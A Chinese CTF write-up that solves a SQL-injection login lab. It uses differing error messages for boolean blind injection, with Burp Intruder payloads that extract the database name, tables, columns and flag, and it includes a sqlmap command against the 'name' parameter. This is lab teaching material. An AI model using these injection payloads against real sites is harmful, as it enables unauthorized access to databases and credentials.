0到1 ctfer: SQL注入-2

分析这个靶场 :
登录靶场,只有一个空空的界面:
image
很明显,这是一个登录到账号密码的关于SQL注入的题目
尝试输入admin和其他用户名,发现是不一样的报错:
image
image
说明这里的机制是:先检查账号是否存在,再检查账号和密码是否对应
由此可以使用burpsuite抓包进行报错注入的操作:
经过抓包,在burp上显示不同的内容:
“账号不存在”
image
“账号和密码错误”
image
所以由此可以判断出,账号密码是否正确,来源于报错:

  • 用户名正确报错:{“error”:1,“msg”:"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"}
  • 用户名不存在报错:{“error”:1,“msg”:"\u8d26\u53f7\u4e0d\u5b58\u5728"}

依据此信息可以对其进行报错注入:
#手工方法:

判断数据库:

使用burpsuite加上合适的payload即可:

判断数据库名称的字符数
经过尝试,数据库名称字符数为4

name=admin'+and+if(length(database())=4,true,false)%23&pass=a

判断数据库名称:
用intruder暴力破解数据库名称:

name=admin'+and+substr(database(),1,1)='f'%23&pass=a

image
image
得到数据库名称为note

判断表名
就不进行表的位数判断了,直接上intruder
暴力破解数据表名:

name=admin'+AND+substr((SELECT+group_concat(table_name)+FROM+information_schema.tables+WHERE+table_schema=database()),1,1)='f'%23

经过测试,最好SQL语句的操作是大写,存在过滤小写的过滤器
image
表名称有两个:fl4g和users

判断列名:
暴力破解列名称:

name=admin'+AND+substr((SELECT+group_concat(column_name)+FROM+information_schema.columns+WHERE+table_schema=database()),1,1)='f'%23

image
image
四列:flag,id,username,passwords

找出flag
flag的值应该存在于数据表为fl4g的flag列,注意修改字典,要添加数字和一些特殊符号进去

name=admin'+AND+substr((SELECT+group_concat(flag)+FROM+flag),1,1)='a'%23

image
image
flag就可以出来了:n1book{login_sqli_is_nice}

sqlmap

将抓到带有SQL注入的数据包保存到文件中
image
image
使用sqlmap打开,并用-p指定参数name为注入点

sqlmap -r 'a.txt' -p name --batch

之后再加上一些参数爆破出一些东西就不赘述了

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
CTFer成长之路中,SQL注入是一个重要的技术点。SQL注入是一种利用用户输入数据不当,从而欺骗数据库执行恶意操作的攻击方式。在CTF比赛中,了解和掌握SQL注入技术可以帮助你解决一些与数据库相关的题目。 首先,你需要了解SQL注入的原理和基本概念。SQL注入通常发生在应用程序与数据库之间的交互过程中。当应用程序未能正确过滤用户输入数据,并且将用户输入直接拼接到SQL查询语句中时,攻击者可以通过构造恶意输入来修改、删除或绕过原本应该执行的查询操作,从而获取敏感信息或控制数据库。 接下来,你需要学习一些常见的SQL注入技巧和工具。例如,可以使用单引号 `'` 来进行字符串注入,使用注释符 `--` 来注释掉原本的查询语句,使用 UNION 语句来进行查询结果的合并等等。同时,了解一些常见的防御措施,如参数化查询、输入验证和输出编码等,可以帮助你更好地理解和应对SQL注入攻击。 在实践中,你可以尝试挑战一些有关SQL注入的CTF题目。这些题目通常会提供一个具有漏洞的应用程序和一个数据库,你需要通过利用SQL注入漏洞来获取敏感信息或执行特定操作。通过解决这些题目,你可以加深对SQL注入的理解,并且熟悉常见的攻击场景和解决方法。 最后,记得在学习和实践过程中保持合法合规。只在合法授权的情况下进行演练和挑战,切勿用于非法用途。同时,及时更新和修补应用程序的漏洞,以保护自己和他人的信息安全。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Zeker62

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值